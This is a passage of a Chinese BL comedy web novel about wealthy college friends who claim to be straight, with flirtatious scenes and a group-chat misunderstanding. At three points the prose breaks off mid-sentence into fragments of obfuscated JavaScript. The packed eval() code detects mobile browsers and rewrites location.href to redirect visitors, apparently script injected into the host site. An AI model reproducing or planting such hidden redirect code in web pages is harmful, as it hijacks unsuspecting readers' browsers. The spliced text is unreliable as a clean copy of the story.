谢定仪说:“我不会追人。” 凌柏尧被逗笑了:“那你还让我主动?你自己都不主动。” “每个人的想法不一样,遇到的情况也不一样。”谢定仪平静地说,“其实我想了很久,觉得有些事情没必要去强迫别人接受自己的喜欢,两厢情愿本来就是一件可遇不可求的事情。我觉得如果是我,与其强迫我喜欢的人喜欢我,不如选择一个喜欢我的。” “怎么会有人不喜欢你,你这么好看。”凌柏尧笑道,“绝对不可能。” “怎么就不可能呢。”谢定仪低眉一笑,“算了,不说了。” 吃完布丁的缸豆坐在后排,本来想见缝插针再让表哥给自己买个鸡排吃,一听两人的对话,立马拉过毯子,在后座躺下了。 大人的事他小朋友管不了了。 凌柏尧敏感地察觉到谢定仪有些不对。 那杯价值2000多的Q/Q美莓奶茶并没有挽救自己在谢定仪那里“不解风情”的评价,按照他以前哄人的经验,他觉得问题可能不出在他不解风情这件事上,很可能还是那颗谢定仪舔过的柠檬糖上。 难道是他平常对初夏的行为真的过于亲密让恐同的初夏反感了? 在谢宅吃完饭后,凌柏尧开车回家,在A市顶级豪宅的地下车库里,看着后视镜里的自己,满心都是疑惑——他看起来也不弯啊?真是他的行为太基佬了? 基佬凌柏尧没见过也没接触过,但他直觉霍世昕见过,毕竟花花公子玩得开,除了他们三个,霍世昕到处有结交的朋友,和很多富家公子玩得也挺好,朋友这么多,总有几个喜欢男人的。 凌柏尧马上给霍世昕打了视频电话。 电话接通了。 满是水汽的浴室水雾缭绕,霍世昕站在浴室的镜子前刮胡子,他刚洗完澡,身下就围了一条浴巾,水雾在他火热且健硕的肉一体上凝结成水珠,留下一道道暧昧的痕迹。 “什么事?” 凌柏尧看到手机屏幕的那一刻,差点没忍住把手机扔出去——这他一妈满屏幕的大胸肌,老霍你大晚上的在搞什么东西? 见凌柏尧许久没反应,霍世昕问:“兄弟,你怎么不说话?你该不会是被我的胸肌吓晕了吧? 凌柏尧:“……” “吓个毛。”凌柏尧冷笑,“你凌爹我也有。” 16. 2.8个直男 “呵。”霍世昕嗤笑一声,“说吧儿子,这么晚找你爸爸有什么事?” 两位共轭父子平常非要在电话争一番谁是爹谁是儿子后才能轮到谈正事,今晚的凌柏尧却格外心急。 “不开玩笑了,老霍,问你件事。”凌柏尧问,“你觉得我平时对你对初夏,行为很基佬吗?” 霍世昕正要去拿洗手台边的须后水,一听这话,手里的瓶子差点掉台面上。 “你?基佬?”霍世昕以为自己听错了,“老大你这是恐同恐到自己身上了吗?” 凌柏尧便把下午柠檬糖这事儿给霍世昕说了。 “多大点事儿?”霍世昕继续对着镜子喷须后水捋头发,越看镜子里的自己越满意,“你要真是基佬,你会当老二的面把他舔过的糖吃了吗,你不得偷偷把糖藏起来,回头躲在家里当个宝贝似得每天亲个十遍八遍的,直男对直男才会叫夹子音叫老婆公主抱拍屁一股,基佬对直男只会表面称兄道弟,回去阴暗爬行各种x幻想。” “这样吗?” “不然呢?”霍世昕捋完头发,又从手边捞过一条毛巾,开始擦发尾的水,“看到现在视频里这个大帅比了吗?对,说的就是我,你截图了吗?录屏了吗?” 凌柏尧连连皱眉:“我超,老霍你别恶心我啊。” “这不就对了吗。”霍世昕确定以及肯定,“老大,你很直,非常直。” “那初夏为什么排斥我?”凌柏尧百思不得其解,“他以前不这样啊?” 然后转念一想,问;“对了老霍,初夏是不是有什么情况了?” 霍世昕正在擦头发的手顿了一下:“什么情况?” 凌柏尧说:“初夏是不是谈恋爱了?或是有喜欢的人了?” “老二谈恋爱?”霍世昕压根不信,“和他们实验室那台价值两千万的电镜谈恋爱吗?” 和擅长社交的霍世昕还有热爱运动广交好友的凌柏尧不同,谢定仪是个性格极其冷淡的人,他对各种社交活动敬谢不敏,也不爱交际,平常来往的人就是三个发小,还有同组的学生老师,社交圈基本不向外辐射,就连去看电影看音乐剧,都要单独的vip贵宾厅,平常别说是和他说上话了,想见他一面都难。 但他在A大乃至整个大学城都是出了名的高岭之花,一动一静都有人关注,不至于社交圈里突然出现了一个对象或是他心动的人,以霍世昕和凌柏尧的人脉会不知道的。 加上谢定仪从小身体有点不太好,被谢家上下养得很娇贵,从小衣食住行都有一大堆人操心,出入是豪华保姆车和私人飞机,水果鲜花都是谢家自家农场的特供,以至于几年前才坐了人生第一趟公交车——甚至那次坐公交车,都是凌柏尧全程护着的。 就这样完全无机可乘的生活轨迹,都能出现这么号人,越过了他二十年的精心呵护,这让凌柏尧觉得哪里不对劲,甚至越想越不爽。 凭什么?? “老霍,你恋爱经验多,你觉得万一有这么个人,他(她)会是在哪里接触的初夏?” “不可能的,真当老二是随便就能见到的?A大恐怕就是很多人人生中唯一一次接触到老二的机会了。” 刚说完这句,视频里,霍世昕背后浴室的门被敲响了,他回头看了一眼。 “是小白。”他抢在凌柏尧之前说了,然后把手里的毛巾一扔,迅速对着镜子捋了捋头发,又喷了点发胶。 “我先挂了。”挂断之前,霍世昕还没忘记给好兄弟解惑,“不过你刚刚说的情况可以也考虑一下,我们外人是不觉得你的行为很基佬,但老二你也知道,从小就高冷家里保护得也好,他也不知道男生之间公主抱叫老婆很正常,可能就是直觉上觉得太亲密所以不适,你自己掂量着点儿不就行了。” 凌柏尧琢磨:“我怎么掂量?” 他还想问霍世昕,霍世昕却直接把电话给挂了,一点时间都没给他留。 “不知道的还以为你晚上要去约会,又是香水又是发胶的。”凌柏尧看着漆黑的手机屏幕,无语道,“你至于吗?” 霍世昕还真至于。 他现在正值求偶期,浑身的魅力和荷尔蒙以待散播。 甚至回来的路上,霍世昕都想好了,今晚是洗完澡是围浴巾出来还是穿浴袍出来,怎样在白晓元面前360度开屏,洗完澡后头发还是用发胶抓个背头,他察觉到今天下午的无意之举好像有吸引到白晓元。 当然,他也不能太过分,不能和上次一样把白晓元吓跑了。 吃晚饭的时候,霍世昕还特意给白晓元解释,视频都删了,不会再让白晓元看到了。 没想到白晓元的反应竟然和霍世昕预想的不一样。 “我是因为那部小簧片生气吗?”白晓元振振有词,“根本不是,好吗?我是气你乱教瓢儿白,你还把我关门外面,你到底讲不讲理?” “我不讲理,是我的错。”霍世昕表面老实认错,心里爽翻了。 ——原来不是因为那部小簧片生气,那就好办了。 “说起来,客卧你今晚估计睡不了了,客卧的窗户坏了关不上,一直没修,空调用不了。”霍世昕给白晓元剥了个虾扔进他的碗里,“等会儿我来想办法。” 白晓元问:“有干净被子吗?” 霍世昕说:“有。” 白晓元说:“那就没问题了。” 吃完饭,白晓元和霍世昕去楼下遛了狗,回来后两人把白晓元的行李简单收拾了一下,一看时间十点多了,白晓元便说,今天太累了,明天再说,先去洗澡。 “你去主卧洗,我去外面洗。”霍世昕已经考虑好了,主卧大朝向又好,先让白晓元住主卧,他在沙发上睡两天,等窗户修好了,他再搬客卧去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438351|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“行。” 霍世昕便把自己的毛巾和日用品都搬去了次卫,他东西不少,光发胶就有好几瓶,最后一次把东西搬出主卧时,身后的白晓元突然叫住了他。 “昕哥。”白晓元从主卧门口探出头来,“你睡外面睡里面?” 霍世昕朝客厅方向指了指:“外面。” “行。”白晓元欢快地说,“那我先去洗澡了。” 白晓元洗澡倒是快,他平常住校,一宿舍四人都要等着洗澡,所以都是能快则快,一般十分钟内解决。洗完澡后一出来,看到次卫还亮着,便把脏衣服收了一下,拿到生活阳台上洗了,然后又去找了新的床品,开始铺被子。 没想到等他衣服洗了,被子都快铺完了,再去次卫一看,灯还亮着,再一看时间,好家伙,霍世昕这澡洗了五十分钟了。 白晓元有点坐不住了,这不会是洗澡洗晕了吧? 他连忙去敲了敲门,幸好,听到霍世昕没事。 白晓元说:“那你快点啊,我等你。” “好的。” 霍世昕回头一看搭着的浴袍,认真考虑了一会儿,还是把浴巾解了,换上了浴袍。 次卫的门终于在五十一分钟后打开了。 一切都刚刚好,因为白晓元那句“我等你”,霍世昕一秒钟都没浪费。 然而门一打开,门外没有一脸惊艳的白晓元,而是蹲了一只一脸期待看着他的小鸡毛。 霍世昕:“……” 这哪里是媚眼抛给瞎子看,真分明是一身荷尔蒙喂了狗——白晓元你人呢?? “爸爸。”瓢儿白按了一下按钮。 霍大帅哥的荷尔蒙连狗都不吃。 “我要吃饭。” 霍世昕:“……” 卧室里传来白晓元气喘吁吁的声音。 “霍世昕,你别给瓢儿白喂饭啦——”他拉长了声调,有点像撒娇,“你给它喂两块蓝莓冻干。” “行吧。”霍世昕只有去给瓢儿白拿冻干,喂完了,又盯着它喝了水,然后去卧室请示孩儿它妈白晓元,是不是该哄孩子睡觉了。 不料他推开卧室门的那一刻,整个人却愣在了原地。 白晓元背对着他跪在主卧中间那张豪华大床上,他穿着一件宽松的深蓝色夏季睡衣,同色短裤,动作起伏之间,能清晰地看到腰间露出一截细腰和压下身体时挺翘的臀。 听到身后的动静,白晓元转过身来,有些兴奋地问:“你洗完了?” “嗯。” “看我套的被子。”白晓元像一只骄傲的小猫,拍了拍身边的那床被子,“这是给你套的被子,我跟着我家的阿姨学了很久的。” 然后他又指了指内侧:“那是我的被子。” “怎么样?”白晓元得意极了,“今晚我们俩一起睡,说好了的,你睡外面,我睡里面。” 17. 2.7个直男 白晓元太会了,这招直接把处心积虑的花花公子霍世昕给整不会了。 直男天然的小手段简直正中他的红心。 霍世昕蹲了下来,痛苦地用右手捂住脸。 “喂,霍世昕。”白晓元连忙从床的另一边爬过来,趴在床沿边,伸出手指戳了戳霍世昕的肩膀,“你怎么了?” 霍世昕没动。 白晓元又趴近了点儿,凑到霍世昕身前一看,顿时惊呼大叫:“霍世昕你怎么脸红了?” 这一声太过震惊,本来在外面想趁着两位家长说话去偷点东西吃的瓢儿白立马竖起耳朵,然后屁颠屁颠跑到门口来看热闹了。 霍世昕:“……你小点儿声。” “但你真的脸红了。”白晓元趴在床边,伸长脖子左看看,又看看,人都要乐坏了,“我去,霍世昕你该不会是20多岁了还不会套被子被打击到了吧嘎嘎嘎嘎嘎嘎嘎——要不要我教你啊嘎嘎嘎嘎嘎——” 白晓元笑成鸭子叫,结果笑得太认真,一没留意,直接从床上滚了下来。 “啊——完蛋——” 幸好他就摔在霍世昕身边,也幸好霍世昕反应快,立马伸手把他接住了,两人一起滚倒在了地毯上。 白晓元在霍世昕身上摔了个七荤八素,霍世昕身上硬邦邦的肌肉也没比床边的地毯好多少。他缓了好一会儿才手忙脚乱地爬起来,坐在霍世昕身上纳闷:“我怎么就摔了呢?” “我劝你先别想这个问题。”被压着当人肉垫子的霍世昕躺在地上,无奈地抬起手揉了揉自己的眉心,“你要不往前坐一点,要不往后坐一点,你别坐中间。” 白晓元:“?” 往下一看:“咦???” 他像只兔子一样蹦起来,飞快地蹦回床上,霍世昕叹了口气,这才缓缓坐起来。 白晓元用被子裹住自己,探头探脑地往霍世昕身一下看,越看眼睛瞪得越圆。 “雾草,兄弟你这么大的吗?” “是啊,你过来摸摸它,它能更大。”霍世昕随口回了一句,撑着床沿站起来。 他真的得去一趟卫生间了。 白晓元可不服气了,凭什么啊,都一起长大的,凭什么霍世昕发育得就这么好,还拿大小霸凌他?? “开什么玩笑,你来摸摸我的,我还能更大。”白晓元掀开被子,从床上爬起来,叉腰放话,“来啊,谁怕谁?” 正准备转身去卫生间的霍世昕回过头来。 白晓元嚣张挑衅,冲霍世昕勾了勾手指:“今晚谁怂谁是狗。” “这可是你说的。”霍世昕看着他,慢条斯理地开始卷袖子,“你等会儿可别哭着说不要。” “呵,你小瞧……小瞧谁……”看到霍世昕真要上手了,白晓元迅速又钻回被子里,把自己从头到尾罩了个结实,不服气地说,“我开玩笑,你就来真的啊?” “不然呢?”霍世昕把白晓元连人带被子审视一圈,摸了摸下巴,说,“你说我从哪里开始剥比较好?” 眼神落在他的胸前:“上面?” 又肆无忌惮地看向他露在被子外面的腿。 “还是下面?” 白晓元连忙把腿缩回了被子里。 眼看着霍世昕真要过来剥他身上的被子和衣服,白晓元心一横,直接把眼睛闭上了。 大不了就是丢点人罢了,给好兄弟看看其实也没什么。 就是他脸上烧得慌,心也在砰砰狂跳。 即使闭着眼,他也能感受到霍世昕越来越近,近到他能感受到对方的呼吸。 身前的床垫凹下去,应该是霍世昕单膝压了上来,他的手也在靠近,即便闭着眼,白晓元也能清晰的记得霍世昕的手,那是一双极其好看的手,指节分明,修长有劲,开车时霍世昕总是喜欢搭着方向盘,坐在副驾的白晓元偶尔看到,总是会有一种“啊,昕哥能掌握一切”的感觉。 好像没有霍世昕做不到的事情。 白晓元的脑子乱糟糟的想着,没想到下一秒,霍世昕的手,却落在了他的脸颊上。 “逗你玩儿的。” 霍世昕捏了捏他的脸,身前凹陷的床垫赫然松开了。 白晓元缓缓睁开眼,视线里,霍世昕背对着他,正拉开房门打算出去。 “霍世昕。”他连忙叫住对方。 “怎么了?”霍世昕扶着房门转过身来。 房间里安静了一会儿,直到白晓元裹着被子,红着脸小小声对着他叫了一声。 “汪。” 一夜好眠。 最后霍世昕是什么时候回了卧室,又是什么把床上另一床被子和枕头拿走,白晓元也不知道了,他今天累了一天,没多久就直接裹着被子歪在床上睡着了,他记得自己睡前还是一个被子裹紧的粽子,醒来时却是好好的躺在床上,身上盖着松软的夏季凉被。 天亮了。 白晓元打了个哈欠,从床头摸过手机,今天他上午没课,可以好好睡个懒觉,所以他也不着急,慢吞吞地把手机里的APP都翻了一遍。 霍世昕早起去上课了,微信给他发了消息,说早餐已经给他点好了,放在厨房里,如果冷了就用微波炉热一热,瓢儿白也送去日托班了。 至于他自己,他说中午会回来吃午饭,问白晓元是想出去吃,还是让他带回来。 “我想吃一食堂的烧鸭饭。”白晓元回了信息,“我学妹说一食堂的烧鸭饭挺好吃的,就是太远了,我每次都懒得去,你正好开车,就顺路可以给我带一份回来,嘿嘿。” “一食堂那家广东烧腊档口?那家的脆皮烧肉和叉烧做得更好,烧鸭的鸭肉还是柴了点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438352|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍世昕问,“吃哪个?” 白晓元想了想,说:“那就吃叉烧烧肉双拼吧,再要一个牛肉丸汤。” “行,我记下来了。”霍世昕说,“后天找个时间,我带你去一家广东菜私厨吃饭,那家的烧鸭一绝,卤水火锅也很正宗。” 白晓元一听有好吃的,连忙回道:“好呀好呀。” 霍世昕说:“那你好好在家吃早饭,吃完饭再睡会儿,等我回来。” 白晓元:“嗯嗯。” 聊完天一看,才八点半,白晓元寻思着就赖会儿床,等九点再起来。 他继续无聊地翻手机,不知道怎么就翻到了小号。 这个小号他除了第一天加群时活跃了一会儿,其余时间都没打开过了,现在打开小号微信一看,又是99条消息。 白晓元挺过意不去的,这个群里的群友人都挺好的,对他也很热情,现在他知道自己和霍世昕没发生什么事,他就想和群友好好道个别,然后把群退了。 群里本来人不多,然而离上次聊天都过了好些天了,白晓元对他们也没什么印象,便打算把昨晚的记录翻一翻,大概了解一下群友们,然后再一一道别。 这个群时而活跃时而安静,安静下来能几天没人说话,一有人说话,那就是上不见底,白晓元滑动手机屏幕,往前面翻了很久才翻到昨天聊天的源头,是半夜两点多,一个叫犰狳的群友发了一句感慨。 “直男开玩笑真的没轻没重的。” 一群的夜猫子全被钓出来了,然后各种讨伐直男开过激玩笑,害得他们春一心荡漾,以至于怀疑自己取向,来群里喝赛博中药。 白晓元刷了一下聊天记录,就很迷惑。 ——不是,你们不自称直男吗,怎么还讨伐起直男来了呢? 倒是最开始说直男开玩笑没轻没重的那个群友没有再说话,但是白晓元对他有点印象,翻了一下当天进群的聊天记录,发现竟然是天降微信群替他解围,发了一大堆小簧片网址的群友。 白晓元:“……” 挺好的群友,但下次别这么救场了,那部《变成辣妹后和朋友做了》害得他做了一晚上春梦。 白晓元继续翻记录,大致把那天和他聊过的群友都对上了号,他刚打算写篇小作文讲一下他进群的心路历程,如何怀疑和兄弟上了一床,又如何和兄弟破除误会如今做回好兄弟,鼓励一下群友正确认识男男关系,尤其是好兄弟之间的亲密关系,没想到群里又进来个新人。 点开最新群消息的那一刻,白晓元以为自己眼花了。 他把那个号看了一次又一次,然后打开对方的个人界面看了一次又一次,又打开了自己的微信大号确认了一遍又一遍。 没错,真的是他了! ——新进群的人竟然是他的铁直男好兄弟凌柏尧! 18.2.7个直男 白晓元第一个反应是凌柏尧是来群里抓自己的。 谁都知道凌柏尧最讨厌基佬了,他肯定是听到了什么风声。 “完蛋了完蛋了完蛋了……” 白晓元慌得要命,手里的手机宛如成了一块烫手山芋,扔也不是,看也不是,寻思着要不要现在就把群退了,又怕被凌柏尧继续追杀。 就在他坐立不安时,凌柏尧在群里说话了。 【Roy:大早上的叨扰一下各位[抱拳]】 【Roy:请问一下,这里是同性恋爱交流群吗?】 白晓元:“?” 不是凌哥你这么礼貌的吗? 你难道不应该看到基佬就一蹦三尺远吗? 还是你打算先礼后兵? 白晓元更紧张了,他捏着被子,紧紧盯着屏幕刷出来的消息,就怕下一秒自己就被凌柏尧揪出来痛殴了。 然而让他没想到的是,是大学城第一铁直男在这个群被人群殴了。 群友们人均深柜,凌柏尧进群第二句话就给群友们扣了一个大帽子,轰炸效果好比“喂,听说你们这群全是基佬啊。” 【正直的群主:不是,什么同性恋爱交流群?兄弟?说清楚点?】 【阳光灿烂小奶龙:哥们,谁介绍你进群的啊,你进错了吧,我们这是直男群。】 【我是任黑:服了,一觉醒来我怎么就成同性恋了,我要是同性恋我还待在这个群吗?】 凌柏尧也是个暴戾性格,哪儿可能被围殴不还手的,三两下直接在群里开战了。 一场大战一触即发,就在这时,昨晚半夜感慨“直男开玩笑没轻没重”的群友犰狳出来了。 【犰狳:安静。】 【犰狳:吵什么?入秋了火气旺?】 【犰狳:这位新群友也没说什么,有误会就解释啊,你们这样只会让人觉得恐同即深柜。】 【犰狳:我看这新群友也像是直男,大家都是直男,一起好好交流,ok?】 凌柏尧at那位叫犰狳的群友,发了一个抱拳的姿势。 比起群里花里胡哨的表情包,这个朴素正直的表情确实肉眼可见是个铁直男了。 即便群友们嘴上讨伐着直男花招多,直男开玩笑没轻重,对于真直男,那还是十分爱护的。 凌柏尧那更是脾气来的快去的快,前一秒还要干架,下一秒就和群友们握手言和了。 这瞬息万变的情况让白晓元都惊呆了。 ——凌哥你到底进这个群是来干什么的啊? 凌柏尧当然是有目的而来。 昨晚他想了大半夜都没想出来自己到底什么行为太基佬导致谢定仪反感了,他周围也没基佬,无奈之下只有上网想办法——即便他心里一百个不乐意和基佬打交道,但没办法,为了初夏,他得忍了。 歪打正着的,他正好在龙鲤湖畔遇到了治疗哥,便匿名发私信有什么途径接触基佬。 治疗哥对凌柏尧这个直接的问题感到很无语:“我又不是同性恋婚恋中介,找对象你上blue啊。” 凌柏尧;“我不是同性恋,我是直男。” 凌柏尧:“真的是直男。” 凌柏尧:“还恐同。” 十个基佬九个要在治疗哥这里重复以上三句话。 治疗哥心想,这又是个没救的,问:“那你要接触基佬干嘛?” 凌柏尧说:“我想了解下基佬都是怎么和男人相处的,我总觉得我对我好兄弟的行为是不是有点基佬了?他都有点反感我了。” 治疗哥:“……” 还行,对自己有正确认知,不算彻底没救。 正当治疗哥想表扬凌柏尧几句,凌柏尧的问题又来了。 “有没有那种特别gay又不是很gay的群?我想进去请教点问题。” 特别gay,又不是很gay—— 治疗哥彻底无语了,大兄弟你自己看看,你这说的这是人话吗? 他问:“那你要多gay啊?” 凌柏尧:“就不要太gay,我受不了,我恐同。” 凌柏尧:“也不能不太gay,要不我也不知道我的行为到底是不是很gay啊?” 治疗哥被惹怒开始卷袖子了:“大哥你再说一遍呢?” “微gay,对,微gay。” 凌柏尧委屈求全,心想初夏我已经为你豁出去了,你可别再讨厌我了。 换在以前,微gay还属于一个模糊的量词,还得再让治疗哥无语一次,但托网红的福,治疗哥这回明白了。 微gay,也就是40%含gay量,他扒拉了一下自己的库存群,哟,还真有。 凌柏尧就这么进了群。 就是一进群,基佬特有的阴阳怪气就让他开始恐同了。 但他忍住没说,和群友握手言和以后,双方就开始剖析刚刚的误会了。 群友们问他是怎么坚定认为本群是基佬群的,凌柏尧直接把白晓元给at了出来。 白晓元本来偷偷潜水吃瓜,看到凌柏尧at自己,吓了一大跳,他战战兢兢地冒头,悄咪咪的问。 【Black:怎、怎么啦?】 【:兄弟你是1吗?】 【Black:???】 【Roy:基佬不都会在签名上标1,0吗?】 【宁折:咦??】 【阳光灿烂小奶龙:咦??】 【正直的群主:咦??】 【我是任黑:[看一眼][再看一眼][恍然大悟]兄弟们,我们中出了一个叛徒!】 白晓元人都要晕了。 他不了解基佬,凌柏尧也不那么了解基佬,但群友们可太了解基佬了。 胡军的头像,Black的id,签名还是“1”,从不和群友一起批判直男,一进群就问和男人xx是什么感觉。 ——他一定是爱直男爱到死去活来还上赶着倒贴的1! 这可是活的1诶! 群友们都沸腾了。 【正直的群主:之前还没发现,仔细一看群友头像竟然是我的男神胡军!】 【阳光灿烂小奶龙:我去,真的是胡军,啊啊啊啊《蓝宇》!我不允许有人没看过《蓝宇》!】 【垃圾桶:胡军真的超超超帅!男神老了也是法拉利!】 【狂扔垃圾:确实挺帅的。】 【正直的群主:《蓝宇》里的床一戏,啧啧啧啧……我秒穿蓝宇。】 白晓元:“……” 他其实对胡军不熟,他也没看过《蓝宇》,天知道他开始选这个头像,只是因为他想要个特别阳刚特别直男的头像,问了豆包老师,豆包老师给他挑了胡军这张剧照,他看过觉得确实很阳刚很直男,至于签名,那更是误会中的误会,他可是对抄大学城第一铁直男凌柏尧的签名,还特意把弯弯折折的都删了,就剩一个笔直笔直的“1”,鬼知道基佬会在签名写体一位啊! 然而现在已经没人关心他了,也没人关心新群友凌柏尧了,群友们对着白晓元头像那张剧照狂流哈喇子,已然不知天地为何物。 比白晓元更先一步忍受不了的是凌柏尧,在一片“裤子飞飞”“舔舔舔”的群聊中,他主动提出来退群了。 【Roy:不好意思各位兄弟,感觉这个群的气氛好像有点不太适合我。】 【Roy:我先退群了。】 【Roy:祝各位前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16441343|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途光明,一切都好[抱拳]。】 凌柏尧退群退得飞快,就在白晓元思考着自己也要不要趁机提出退群的时候,群里突然一下安静了。 【正直的群主:我刚没看错,新群友退群了?】 【宁折:是退了[确定]。】 【垃圾桶:他完了。】 【阳光灿烂小奶龙:[慌了]群友怎么不多问一下再退呢?我怕了啊。】 整个群化身谜语人,白晓元不懂了,连忙问。 【Black:怎么了,怎么了?退群怎么了?】 【宁折:本群有个魔咒……咳咳,让群主来说吧。】 【Black:??】 【正直的群主:是有个魔咒,你可能不知道,就是只要加了本群又退出的群友,无一例外都弯了。】 【Black:?真的吗???】 【正直的群主:真的……无一例外……[缓缓闭眼]】 白晓元刚打出“对不起,群友们,我先退群了”,一看最新消息,立马删除了。 他其实不太信玄学,而且凌柏尧这么铁这么直,怎么可能会弯呢。 直到过了几天,群消息又一次刷了99,白晓元再一次打开群消息。 这一次,是两个群友一起退群,还在群里发了999块的红包。 【垃圾桶:谢谢各位群友,我和@狂扔垃圾在一起了,祝各位群友早日治好,走出自己的勇敢人生,我先退群了。】 【狂扔垃圾:谢谢各位群友,在知道我喜欢男人后,我也对自己产生过怀疑,也曾自暴自弃,想过自己可能要一个人过一辈子了,却没想到在这个群里找到自己的人生挚爱,群友们就是我们的月老我们的红娘,谢谢群主,谢谢群友们,我们退群了。】 还没等一心想退群的白晓元崩溃,群主先崩溃了。 【正直的群主:不对啊,兄弟,你们退什么群啊[崩溃]。】 【正直的群主:大家不是一起来治疗同性恋的吗?】 【正直的群主:你们怎么就谈上了?】 【正直的群主:我们这也不是相亲群啊?】 【正直的群主:求求你们看看群名啊,“互助互爱”,是让你们互助,没让你们互爱啊![崩溃]】 【宁折@正直的群主:[抱抱]算了算了,强求不得。】 那个阳光灿烂小奶龙还特意at了白晓元。 “看吧,这就是本群的魔咒,退群都是一对对退的,全弯了,留下的倒都是直男。” 还有群友在嗑瓜子看戏。 【我是任黑:我来数一数,群里现在还有9个人,那能凑4对半了[笑死]】 【阳光灿烂小奶龙:你忘了前几天那个退群的直男吗,这不刚好5对吗?】 群主一听,就更崩溃了。 群主一上头,其他群友都知道玩笑开不得了,纷纷都说,这群建立两三年了,咱们几个不都还直着吗,没事没事,大家都是直男,绝对不会弯。 连这两天没怎么说话的群友们都出来安慰群主了。 【拉格朗日:没事的,哪有那么多基佬,没有没有。】 【风:不管别人怎么说,反正我确定我是直的。】 剩下还有一个,就是一直不怎么说话的一个叫“Y”的群友,白晓元记得这个群友十分高冷,他加群这么久了,总共都没看他说过超过三句话。 在万众期待下,这次,Y终于现身了。 【Y:哦,你们在说直男啊。】 所有人星星眼看着他。 【Y:我喜欢的就是直男。】 【Y:喜欢很多年了。】 【Y:但现在,我已经不打算继续喜欢他了。】 19.2.2个直男 群里又开始大肆讨伐直男撩而不娶。 【直男就是这样,关心你,对你好,说你好看,让你动心,然后在你萌生希望的时候泼一盆冷水给你,说对不起,我喜欢的是女孩子哦。】 【直男真的自带天然渣属性,就这样,还那么多男同倒贴呢。】 【没办法,直男就是男同食物链的顶层[捂脸哭]。】 【建议每个直男把“和男同保持距离”七个字加入男德修养必修课。】 【同意,我来给直男列一下,第一,别夸男同好看,男同很在意自己的外貌,第二,别对直男说你是我这辈子最重要的人,他会想歪,第三,别和直男勾肩搭背摸小手,真要和男同当兄弟就拒绝一切身体接触……】 …… 全群唯一真直男白晓元在讨伐中瑟瑟发抖。 他甚至代入自己想了一下。 夸男生好看?那他夸过好多了,他从不吝惜夸夸。 对男生说你是我自己这辈子最重要的人?那他也说过,凌哥,初夏哥,还有霍世昕,他们三个本来都是他最重要的人啊。 和男生勾肩搭背摸小手?他和凌哥,霍世昕都做过,没有和初夏哥勾肩搭背摸小手,是因为初夏哥不喜欢和人有身体接触。 和男生同居,睡一张床,还要抱着睡?那就只有霍世昕了,虽然霍世昕肌肉硬,但他身上真的很暖和。 和男生酒后失态,没分清男女就互相啃嘴?那也只有霍世昕了,白晓元想起那晚还心有余悸。 ——幸好,霍世昕是直男啊。 白晓元心想,霍世昕,幸好你是直男啊,要不我就要被钉在耻辱柱上了! 想到这里,白晓元没有一点心理负担了,以后夸霍世昕好看,和霍世昕勾肩搭背摸小手,和他同居,抱着他睡一张床,那不就是很正常的事吗?都是直男嘛。 至于喝酒,他以后应该是不会多喝了。 那位叫Y的群友又出现了。 比起群情激昂的群友们,Y很平静。 【Y:别这么说他,他挺好的,当然,我也很好。只是我们有各自的路要走,可能只是有人稍微迷了一下路,最终,每个人还是要回到属于自己的那条路上的,道阻且长,但自有人相伴。】 * 白晓元最终还是没退群,虽然前方有退群的凌柏尧顶着“退群必弯”的压力,他依旧有点担忧。 他甚至还盯了凌柏尧一段时间,就怕凌柏尧啪叽一下弯了,剧情彻底崩掉,还应了群里的魔咒让自己也弯了。 幸好观察下来,凌柏尧依然那么直,甚至可能因为在群里被不那么直的深柜群友们一吓,变得更加恐同了。 凌柏尧更加恐同的表现在几个好兄弟之间表现的尤为明显,他每晚也不再找霍世昕聊男德聊车了,并且严厉禁止霍世昕不穿衣服和他打视频电话。 他还在龙鲤湖畔二次元板块的大鲤子鱼们对着白晓元二次元美少女形象各种赞美时又一次放狠话让大鲤子鱼们别打白晓元的主意,打他兄弟主意就相当于挖他家祖坟。 最明显的是,初夏这个小名在凌柏尧的生活中提起的频次明显少了,而谢定仪就属于那种你不想和我说话,我也懒得理你,导致有一次四人一起吃饭时,谢定仪和凌柏尧一句话都没说。 潜在矛盾的小爆发是凌柏尧的零花钱引起的。 作为坐拥千亿资产的能源巨头家的独子,凌柏尧每个月都有一笔不小的零花钱,加上额外的一张黑卡和两个九位数的私行账户,前几年他烧起钱来不眨眼,买车买鞋玩帆船击剑越野赛,后来某一天突然觉醒,觉得烧钱没啥意思,便把零花钱和黑卡以及私行账户都给了谢定仪,让谢定仪随便花,每个月给他发一万块生活费就好。 一万块当然是不够凌柏尧花的,他常开的几台越野车各个都是油老虎,一万块差不多也就是每个月的油钱,所以群里经常会出现凌柏尧找谢定仪领额外的生活费加油。 两人也从没嫌麻烦,那天和往常一样,凌柏尧在群里发了这条消息。 